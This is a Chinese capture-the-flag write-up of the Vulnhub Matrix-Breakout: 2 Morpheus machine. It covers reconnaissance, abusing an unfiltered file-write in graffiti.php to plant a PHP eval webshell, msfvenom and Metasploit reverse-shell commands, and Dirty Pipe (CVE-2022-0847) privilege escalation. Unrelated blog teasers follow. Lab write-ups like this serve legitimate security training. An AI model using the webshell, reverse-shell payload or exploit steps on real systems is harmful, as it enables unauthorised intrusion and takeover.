Vulnhub靶场 Matrix-Breakout: 2 Morpheus 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 文件上传
    • 2. 提权
  • 0x04 总结




0x00 准备


下载连接:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova

介绍:

This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.

Difficulty: Medium-Hard



0x01 主机信息收集


kali的IP地址:192.168.119.128

探测目标主机的IP地址:netdiscover -i eth0 -r 192.168.119.128/24

目标主机的IP地址:192.168.119.135

探测目标主机的开放端口:nmap -sV -p 1-65535 -A 192.168.119.135

在这里插入图片描述


开放了22端口,openssh8.4;80端口,apache httpd2.4.51;81端口,nginx 1.18.0。



0x02 站点信息收集


访问80端口:http://192.168.119.135/

在这里插入图片描述




探测这个站点的目录结构:dirsearch -u 192.168.119.135

在这里插入图片描述




只扫描出来两个,这两个目录看了一下都没有什么有效的信息。

再访问一下81端口,是一个登录弹窗:

在这里插入图片描述


这里试了一下常规的几个弱口令,以及空密码之类的都无法登录。

再用ffuf进行文件爆破,执行命令:ffuf -u http://192.168.119.135/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html

其中:-c参数是启用彩色输出,在终端中用不同的颜色显示不同的输出内容,帮助用户快速区分重要信息(例如状态码、长度、词数等)。-ic参数是启用大小写不敏感,在匹配爆破结果的时候忽略大小写。-e参数用于指定文件的扩展名,这里制定了几个比较敏感的类型。

在这里插入图片描述


可以看到 graffiti.txt 和 graffiti.php 两个文件。其中 txt文件是一些提示语,php文件可以输入message,并且显示在页面上:

在这里插入图片描述




0x03 漏洞查找与利用



1. 文件上传


http://192.168.119.135/graffiti.php 页面中会将我们输入的内容显示出来,可以考虑试一下xss,输入:

在这里插入图片描述



发现可以正常弹窗。

提交数据00000,再抓包看一下:

在这里插入图片描述





message参数后面是提交的数据,后面还跟了一个file参数,是前面扫描出来的一个文件,访问一下:http://192.168.119.135/graffiti.txt

在这里插入图片描述





发现之前提交的数据都在这个txt文件中展示出来了,也就是说message参数提交的内容会被保存到file参数中的文件,那就可以利用这个来上传webshell。

可以用伪协议查看一下graffiti.php的源代码。
要使用 PHP 伪协议读取 PHP 文件的源代码,可以通过 php://filter 配合 一些过滤器来获取文件的原始内容,而不执行其中的 PHP 代码。这里可以使用base64编码的过滤器convert.base64-encode,将读取的数据进行 Base64 编码。再对获取到的内容进行解码。

把file参数的内容换成:php://filter/read=convert.base64-encode/resource=graffiti.php

在这里插入图片描述

graffiti.php的源代码如下:

<h1>
<center>
Nebuchadnezzar Graffiti Wall</center>
</h1>
<p>
<h1>
<center>
Nebuchadnezzar Graffiti Wall</center>
</h1>
<p>
<?php$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {if (isset($_POST['file'])) {$file=$_POST['file'];}if (isset($_POST['message'])) {$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);fwrite($handle, $_POST['message']);fwrite($handle, "\n");fclose($file); }
}// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {echo fgets($handle);echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000
00000
<br>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000


这段php代码的功能是先判断是否是post请求,如果是post请求再处理提交的数据。如果提交的数据中有file字段,就把message的数据写入到file文件中。这里写入的时候,fopen($file, 'a+') ,a+也就是附加模式打开文件,如果文件不存在就会创建文件。并且对用户提交的message内容和file内容完全没有过滤和处理。

这样就验证了思路的可行性,利用message参数指定webshell的内容,利用file参数指定webshell的文件。将message参数的值设为:<?php eval($_POST['123456']);?> ,将file的值设为123.php:

在这里插入图片描述




访问:http://192.168.119.135/123.php

使用蚁剑连接:

在这里插入图片描述




2. 提权


在msf中开启一个监听端口:

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.119.128
run

在这里插入图片描述




监听了4444端口。

再生成一个msf的木马:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.119.128 lport=4444 -f elf > 4444.elf

在这里插入图片描述




将生成的木马利用蚁剑上传到 /tmp 目录下。

在蚁剑的终端中,进入/tmp目录:cd /tmp

给这个文件执行权限:chmod +x 4444.elf

执行文件:./4444.elf

在这里插入图片描述




再去msf中看到成功:

在这里插入图片描述





在msf中输入bg,把当前这个会话模块放入后台,这个会话的序号是 1 :

在这里插入图片描述



在蚁剑终端中查看靶机的系统版本:uname -a,是 linux5.10。

然后使用msf中的其他模块进行提权:search linux 5.10

使用第一个CVE-2022-0847:use 0

查看选项:show options

设置lhost:set 192.168.119.128

因为4444端口被占用了,所以把端口也设置一下:set rport 9999

设置会话:set session 1

攻击:run

在这里插入图片描述





进入/root 目录下,查看FLAG.txt 文件的内容:

在这里插入图片描述




0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 文件爆破,发现文件上传点。

漏洞利用:

  1. 上传webshell。
  2. 利用msf生成木马。
  3. 利用CVE-2022-0847进行提权。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/888507.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

美畅物联丨智能监控,高效运维:视频汇聚平台在储能领域的实践探索

在当今全球能源格局不断变化的大背景下&#xff0c;对清洁能源的需求正以惊人的速度增长。储能项目作为平衡能源供需、提升能源利用效率的关键环节&#xff0c;其规模和复杂度也在不断攀升。在储能项目的运营管理过程中&#xff0c;安全监控、设备运维以及数据管理等方面面临着…

提升用户体验、创新产品与高效运营,企业发展三驾马车

​在当今竞争激烈的市场环境中&#xff0c;企业要想脱颖而出并持续发展&#xff0c;需同时在提升用户体验、推动产品创新以及实现内部高效运营方面下功夫。 提升用户体验至关重要。它能提高用户满意度和忠诚度&#xff0c;增加用户口碑与推荐&#xff0c;提升企业品牌形象。可通…

基于ZooKeeper搭建Hadoop高可用集群

ZooKeeper搭建Hadoop高可用集群 在之前安装的Hadoop3.3.6集群中HDFS NameNode 和 YARN ResourceManager 都是单节点&#xff0c;集群不具有高可用性。 HDFS 高可用架构 HDFS 高可用架构主要组件&#xff1a; Active NameNode 和 Standby NameNode&#xff1a; 两台 NameNode…

机器学习—学习过程

给定训练集构建决策树的过程有几个步骤。 给出了一组由十个猫和狗的例子组成的训练集&#xff0c;决策树学习的第一步是我们必须决定在根节点使用什么特性&#xff0c;这是决策树顶部的第一个节点&#xff0c;通过一个算法&#xff0c;假设我们决定选择根节点中的特性&#xf…

矩阵转置        ‌‍‎‏

矩阵转置 C语言代码C 语言代码Java语言代码Python语言代码 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 输入一个n行m列的矩阵A&#xff0c;输出它的转置 A T A^T AT。 输入 第一行包含两个整数n和m&#xff0c;表示矩阵A的行数和列数。…

GPT 1到4代的演进笔记

1. GPT-1 标题是 Improving Language Understanding by Generative Pre-Training. 发表于 2018.02, 比 bert(发布于 2018.10) 早了半年. 1.1 动机 困难:NLU 任务是多样的, 有 {textual entailment, question answering, semantic similarity assessment, document classifica…

JDK17 下载与安装

下载安装包 针对不同的操作系统, 需要下载对应版本的 JDK. 如果电脑是 Windows32 位的, 建议重装系统, 重装成 64 位的操作系统. 因为 Java 从 9 版本开始, 就已经不提供 32 位版本的安装包了. 官网下载 官网下载链接 需要登录 Oracle 账号才能下载. 账号: 2872336204qq.c…

51c视觉~YOLO~合集4

我自己的原文哦~ https://blog.51cto.com/whaosoft/12512597 1、Yolo8 1.1、检测PCB元件 技术世界正在以惊人的速度发展&#xff0c;而这种转变的核心是一个革命性的工具 — 计算机视觉。它最有趣的应用之一是电子印刷电路板 &#xff08;PCB&#xff09; 的检测和分析。本文…

python学习笔记15 python中的类

上一篇我们介绍了python中的库 &#xff0c;学习了一些常见的内置库。详细内容可点击–>python学习笔记14 python中的库&#xff0c;常见的内置库&#xff08;random、hashlib、json、时间、os&#xff09; 这一篇我们来看一下python中的类 创建一个类 class 类的名称():de…

Day28 买卖股票的最佳时机 跳跃游戏 跳跃游戏 II K 次取反后最大化的数组和

贪心算法 part02 122. 买卖股票的最佳时机 II - 力扣&#xff08;LeetCode&#xff09; 求最大利润 将每天的正利润加和 public int maxProfit(int[] prices) {int totalPrices 0;for(int i0;i<prices.length;i){if(i<prices.length-1&&prices[i1]>prices[…

洛谷P1827 [USACO3.4] 美国血统 American Heritage(c嘎嘎)

题目链接&#xff1a;P1827 [USACO3.4] 美国血统 American Heritage - 洛谷 | 计算机科学教育新生态 题目难度&#xff1a;普及 首先介绍下二叉树的遍历&#xff1a; 学过数据结构都知道二叉树有三种遍历&#xff1a; 1.前序遍历&#xff1a;根左右 2.中序遍历&#xff1a;左根…

『数据结构』空间复杂度

&#x1f6a9; WRITE IN FRONT &#x1f6a9; &#x1f50e; 介绍&#xff1a;"謓泽"正在路上朝着"攻城狮"方向"前进四" &#x1f50e;&#x1f3c5; 荣誉&#xff1a;2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评…

多模态COGMEN详解

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

STM32 进阶 定时器3 通用定时器 案例2:测量PWM的频率/周期

需求分析 上一个案例我们输出了PWM波&#xff0c;这个案例我们使用输入捕获功能&#xff0c;来测试PWM波的频率/周期。 把测到的结果通过串口发送到电脑&#xff0c;检查测试的结果。 如何测量 1、输入捕获功能主要是&#xff1a;测量输入通道的上升沿和下降沿 2、让第一个…

重生之我在异世界学编程之C语言:操作符篇

大家好&#xff0c;这里是小编的博客频道 小编的博客&#xff1a;就爱学编程 很高兴在CSDN这个大家庭与大家相识&#xff0c;希望能在这里与大家共同进步&#xff0c;共同收获更好的自己&#xff01;&#xff01;&#xff01; 本文目录 引言正文1. 算术操作符2. 关系&#xff0…

STM32 进阶 定时器 2基本定时器 基本定时器中断案例:LED闪烁

基本定时器 基本定时器TIM6和TIM7各包含一个16位自动装载计数器&#xff0c;由各自的可编程预分频器驱动。 这2个定时器是互相独立的&#xff0c;不共享任何资源。 这个2个基本定时器只能向上计数&#xff0c;由于没有外部IO&#xff0c;所以只能计时&#xff0c;不能对外部…

OpenVas安装步骤及报错问题

安装步骤 1、更新系统 apt update && apt upgrade && apt dist-upgrade 2、安装openvas apt-get install openvas 3、初始化 gvm-setup 时间要很久 4、检查安装结果 gvm-check-setup 安装成功 5、设置用户名和密码&#xff0c;都为admin sudo runuse…

深度学习之pth转换为onnx时修改模型定义‌

文章目录 概述实现步骤python代码 概述 在将PyTorch模型&#xff08;.pth文件&#xff09;转换为ONNX格式时&#xff0c;通常的转换过程是通过torch.onnx.export函数来实现的。这个过程主要是将PyTorch模型的计算图导出为ONNX格式&#xff0c;以便在其他框架或环境中使用。 在…

STL算法之sort

STL所提供的各式各样算法中&#xff0c;sort()是最复杂最庞大的一个。这个算法接受两个RandomAccessIterators(随机存取迭代器)&#xff0c;然后将区间内的所有元素以渐增方式由小到大重新排列。还有一个版本则是允许用户指定一个仿函数代替operator<作为排序标准。STL的所有…

解决Tomcat运行时错误:“Address localhost:1099 is already in use”

目录 背景: 过程&#xff1a; 报错的原因&#xff1a; 解决的方法&#xff1a; 总结&#xff1a; 直接结束Java.exe进程&#xff1a; 使用neststat -aon | findstr 1099 命令&#xff1a; 选择建议&#xff1a; 背景: 准备运行Tomcat服务器调试项目时&#xff0c;程序下…